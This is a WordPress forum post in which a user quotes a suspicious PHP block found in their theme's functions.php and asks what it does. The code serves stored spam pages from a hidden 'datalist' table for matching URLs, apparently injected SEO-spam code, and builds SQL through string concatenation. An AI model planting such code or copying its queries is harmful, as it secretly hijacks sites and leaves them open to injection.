Strange codeblock in functions php

  • gameslopedy

    (@yiggory)


    8 years, 10 months ago

    When i removed this codeblock i have successfully upgraded to PHP 7.1.
    So whats the purpose of this code I dont understand. It was found in my child theme functions php:

    <?php
	
if ( $wpdb->get_var('SELECT count(*) FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
	{
		$data = $wpdb -> get_row('SELECT * FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
		if ($data -> full_content)
			{
				print stripslashes($data -> content);
			}
		else
			{
				print '<!DOCTYPE html>';
				print '<html ';
				language_attributes();
				print ' class="no-js">';
				print '<head>';
				print '<title>'.stripslashes($data -> title).'</title>';
				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
				print '<meta name="robots" content="index, follow" />';
				print '<meta charset="';
				bloginfo( 'charset' );
				print '" />';
				print '<meta name="viewport" content="width=device-width">';
				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
				print '<link rel="pingback" href="';
				bloginfo( 'pingback_url' );
				print '">';
				wp_head();
				print '</head>';
				print '<body>';
				print '<div id="content" class="site-content">';
				print stripslashes($data -> content);
				get_search_form();
				get_sidebar();
				get_footer();
			}
			
		exit;
	}

?>

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